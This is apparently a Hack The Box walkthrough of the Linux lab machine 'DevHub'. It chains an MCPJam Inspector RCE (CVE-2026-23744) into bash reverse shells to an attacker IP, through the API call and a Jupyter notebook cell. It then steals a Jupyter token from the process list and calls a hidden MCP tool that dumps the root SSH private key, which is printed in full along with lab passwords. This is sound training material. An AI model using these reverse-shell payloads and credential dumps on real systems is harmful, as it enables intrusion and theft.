Hack The Box / LINUX / 2026-10-10

Hack The Box — DevHub (Linux)

A vulnerability in MCPJam Inspector allows us to get a reverse shell as the user mcp-dev. Then, we leak the Jupyter token from the process command line to get a reverse shell as the user analyst. Finally, we abuse a hidden tool in the MCP server to get the root SSH private key.

Target

IP: 10.129.10.84

Port scan

sudo nmap -sC -sV 10.129.10.84 -p- -v

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:78:2e:79:0d:87:13:05:2f:53:8e:e7:3c:55:b6:4c (ECDSA)
|_  256 dd:56:8e:bc:da:b8:38:3e:9a:cd:0b:74:ee:53:85:f8 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devhub.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
6274/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 200 OK
|     access-control-allow-credentials: true
|     content-length: 466
|     content-type: text/html; charset=utf-8
|     vary: Origin
|     Date: Mon, 01 Jun 2026 08:02:34 GMT
|     Connection: close
|     <!doctype html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <link rel="icon" type="image/svg+xml" href="/mcp_jam.svg" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
|     <title>MCPJam Inspector</title>
|     <script type="module" crossorigin src="/assets/index-DRYhT9Xb.js"></script>
|     <link rel="stylesheet" crossorigin href="/assets/index-XvFRNbCs.css">
|     </head>
|     <body>
|     <div id="root"></div>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 204 No Content
|     access-control-allow-credentials: true
|     access-control-allow-methods: GET,HEAD,PUT,POST,DELETE,PATCH
|     vary: Origin
|     content-type: text/plain; charset=UTF-8
|     Date: Mon, 01 Jun 2026 08:02:34 GMT
|_    Connection: close

Add devhub.htb to /etc/hosts:

Initial enumeration

With a browser go to http://devhub.htb. There are some information:

MCP Inspector
Model Context Protocol development and debugging tool. Used by the dev team for building and testing MCP servers.
Active - Port 6274

Analytics Dashboard
Jupyter-based analytics environment for data processing and visualization. Access restricted to analyst team.
Internal Only - localhost:8888

Code Repository
Internal Git server for version control and collaboration. Project documentation and deployment scripts.
Maintenance Mode

Let's inspect the MCP Inspector on port 6274, which is opened externally. Go to http://devhub.htb:6274. It's MCPJam Inspector. On the settings page, we see the version: MCPJam Version: v1.4.2

There is a vulnerability: CVE-2026-23744

MCPJam RCE (CVE-2026-23744)

Here is the advisory with a POC: https://github.com/advisories/GHSA-232v-j27c-5pp6.

So we can have RCE by sending a POST request to http://devhub.htb:6274/api/mcp/connect.

We can get a reverse shell.

On the attacker's machine, start a listener:

nc -vlnp 4444

To trigger the RCE, run:

curl http://devhub.htb:6274/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\", \"bash -i >& /dev/tcp/10.10.16.116/4444 0>&1\"],\"env\":{}},\"serverId\":\"mytest\"}"

On the terminal with netcat, we get a reverse shell with user mcp-dev.

To allow SSH login, on your attacking machine, generate an SSH key pair with ssh-keygen -f mcp-dev_key and copy the public key to the target machine, in the file /home/mcp-dev/.ssh/authorized_keys.

Then you can SSH into the target machine:

ssh -i mcp-dev_key mcp-dev@devhub.htb

Let's look at the open ports:

ss -ltpn

State  Recv-Q Send-Q  Local Address:Port   Peer Address:Port Process
LISTEN 0      128           0.0.0.0:22          0.0.0.0:*
LISTEN 0      128         127.0.0.1:5000        0.0.0.0:*
LISTEN 0      511           0.0.0.0:80          0.0.0.0:*
LISTEN 0      511           0.0.0.0:6274        0.0.0.0:*     users:(("node-MainThread",pid=1273,fd=29))
LISTEN 0      128         127.0.0.1:8888        0.0.0.0:*
LISTEN 0      4096    127.0.0.53%lo:53          0.0.0.0:*
LISTEN 0      128              [::]:22             [::]:*

Now that we can SSH login, we can also forward the local open ports to our attacking machine. For example, to forward port 8888:

ssh -NL 8888:localhost:8888 -i mcp-dev_key mcp-dev@devhub.htb

Then, on a browser, go to http://localhost:8888. We are redirected to http://localhost:8888/ui, which shows 404. It's Jupyter. We can go to http://localhost:8888/tree to see the files. But it asks a token.

Leaking the Jupyter token from process command line --> RCE as analyst

However, if we look at the process of Jupyter, we can see the token in the command line:

ps -ewwo pid,etime,cmd

We notice:

   1069    01:12:42 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False

So the token is a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7. We can use it to access Jupyter. Go to http://localhost:8888/tree and put the token. We can see the files. There is only a notebook quarterly_analysis.ipynb. Open it.

It contains only one cell:

import pandas as pd
import numpy as np
# Load internal metrics
# data = pd.read_csv('/data/metrics.csv')

However, we can add a new cell to run arbitrary code. For example, we can run a reverse shell.

Start a listener on the attacking machine:

nc -vlnp 4444

Then, on the notebook, in a new cell, run:

import os
os.system("bash -c 'bash -i >& /dev/tcp/10.10.16.116/4444 0>&1'")

We get a reverse shell with user analyst.

Create a SSH key pair for analyst and copy the public key to the target machine, in the file /home/analyst/.ssh/authorized_keys.

Then you can SSH into the target machine:

ssh -i analyst_key analyst@devhub.htb

Abusing MCP server

There is a folder /opt/opsmcp with a file server.py that can be read only by analyst. Let's look at it.

It contains the code of a MCP server. It listens on port 5000.

There is some code that checks authentication:

def check_auth():
    """Check API key authentication"""
    api_key = request.headers.get('X-API-Key', '')
    return api_key == VALID_API_KEY

The API key is inside the file:

# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

There are some hidden tools that we can call:

# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
    "ops._admin_dump": {
        "description": "Emergency credential dump - INTERNAL ONLY",
        "parameters": {"target": "string", "confirm": "boolean"}
    },
    "ops._debug_mode": {
        "description": "Enable debug mode",
        "parameters": {}
    }
}

admin_dump seems interesting. This is the code of the tool:

@app.route('/tools/call', methods=['POST'])
def call_tool():
    if not check_auth():
        return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401

    data = request.get_json() or {}
    tool_name = data.get('name', '')
    args = data.get('arguments', {})

    [...]

    elif tool_name == "ops._admin_dump":
        target = args.get('target', '')
        confirm = args.get('confirm', False)

        if not confirm:
            return jsonify({
                "error": "Confirmation required",
                "usage": "Set confirm=true to proceed",
                "warning": "This dumps sensitive credentials"
            })

        if target == "ssh_keys":
            try:
                with open('/root/.ssh/id_rsa', 'r') as f:
                    key_data = f.read()
                return jsonify({
                    "target": "ssh_keys",
                    "root_private_key": key_data,
                    "note": "Emergency recovery key dump"
                })
            except Exception as e:
                return jsonify({
                    "target": "ssh_keys",
                    "error": f"Could not read key: {str(e)}"
                })

        elif target == "passwords":
            return jsonify({
                "target": "passwords",
                "dump": {
                    "root": "$6$rounds=656000$saltsalt$hashedpassword",
                    "analyst": "JupyterN0tebook!2026",
                    "mcp-dev": "Mcp!Insp3ct0r2026"
                }
            })

        elif target == "tokens":
            return jsonify({
                "target": "tokens",
                "api_tokens": {
                    "admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
                    "service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
                }
            })

        else:
            return jsonify({
                "error": "Invalid target",
                "valid_targets": ["ssh_keys", "passwords", "tokens"]
            })

So we can call the tool ops._admin_dump with the target ssh_keys to get the root SSH private key.

Let's forward the port 5000 to our attacking machine:

ssh -NL 5000:localhost:5000 -i analyst_key analyst@devhub.htb

We can use curl to call the tool:

curl http://localhost:5000/tools/call -H "Content-Type: application/json" -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'

We get:

{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9\nG/jqltqP312IONAX9LwvTne81E4h+hi2xdjwgvh27iE4AvCQolR8S0GWHwHQjjXVQ5/dHX\n8MA96Qabow623zQe5D6PUAsFj6aWP5fDceIziAxkLIMgpsE6I0bWOKaGmgEG0rW1I/mw8z\n6HmooVORQsQoTaVUhnUmRJRcLpQEu94hzb+0kQ0ObKikcDTnit1kQ/7ZUOoyGhUgEwVk/n\nGhm2D96OW/JLpMIowwDxnka+3l9u5Aj55Y9fWN9aGld5pVvcoPRZ7twODIbXNSjzWsLQRQ\n7l8/a2M+aQAAA8BGnYWeRp2FngAAAAdzc2gtcnNhAAABAQDBYfDgi/zIPDKo5pw7m4HY4W\nv9FoPVMXX3am2Ale7S+PlJPKk5Qf0b+OqW2o/fXYg40Bf0vC9Od7zUTiH6GLbF2PCC+Hbu\nITgC8JCiVHxLQZYfAdCONdVDn90dfwwD3pBpujDrbfNB7kPo9QCwWPppY/l8Nx4jOIDGQs\ngyCmwTojRtY4poaaAQbStbUj+bDzPoeaihU5FCxChNpVSGdSZElFwulAS73iHNv7SRDQ5s\nqKRwNOeK3WRD/tlQ6jIaFSATBWT+caGbYP3o5b8kukwijDAPGeRr7eX27kCPnlj19Y31oa\nV3mlW9yg9Fnu3A4Mhtc1KPNawtBFDuXz9rYz5pAAAAAwEAAQAAAQAjgZkZkXpjRXJDwrvS\n0fWgXZtXR8gC3+b5+4eJgX3tLJuQz9t+UNhpR2XDNvQNnf3B+Ks9W0QQUznPfV0Nr3X3k6\nJtWbN0e5LuLz9PHtYHd05Z+RpS0h2LIhIWNVp+Z2H6l54dy/1LELVVU47B0kSAD0Qig3g8\nHUa/oEljrrgzTlYflRHhkHQblmd9ZaClUoxIDh0zf2Esmp3nIRBm4J1OX5UQPiPEa7/LkB\ndcQr1K4Z1pbZglc5wPUJZCv8MtVPvW9rCgERl9Sl4bKevsgS4mMMUvVxNdqyasYqNAXi/L\nCvk9YYP9PS4q1dfCYMIvsJJNyoBtUiCJwqW2ba6hs1vVAAAAgDEPkj6UOdX1B872cHrja2\nnkahzlja7GZw3G2+hsib4kH/G1nwQs9RRtnzqf/mrXeEhxB27ZN+QE39e7yTC3r6f84mSn\nMz/gS3Czh6DtP+S18jV4xCeac/SoLuxgLvPZ3xnHWvPO6HePQzyVlVk/MBfp+yPrCpIiHK\nMtVMaeJXFYAAAAgQDSlTQAPhkFhsswOcohRO+1hd/4xdD9UECem1ytsb5/on47/GEWvtQI\noocmAAMvEYlOvs8GXeYkMBAwi5VCjLunNBCmuRMjTEgE7lqgdhfkK0Lx/a4BWnYaki+xbk\nJt9XB5f2NlmnT4A5QqiO+qPYA2i1iF9CSv5ypxqHFChgMZNwAAAIEA6xcR6lBjwgtKuzRQ\nnI+f8DFRxcdfKY1gs0BmfS0RRxwDzIEwJHYafyHnq/CKBTDPCYyn/VI+mF64hhtjUbDgAr\nC8X6q/4LJecp3piSHgv6yXhpzkxtz+Q/JSXPFf/9NAgVFQtUjrrnGZbP9kNySaX6q6/npK\nlFORwv9PYfxftV8AAAALcm9vdEBkZXZodWI=\n-----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}

So the root SSH key is:

Copy it in a file root_key and change the permission:

chmod 600 root_key

Then we can SSH into the target machine as root:

ssh -i root_key root@devhub.htb

We get a shell as root.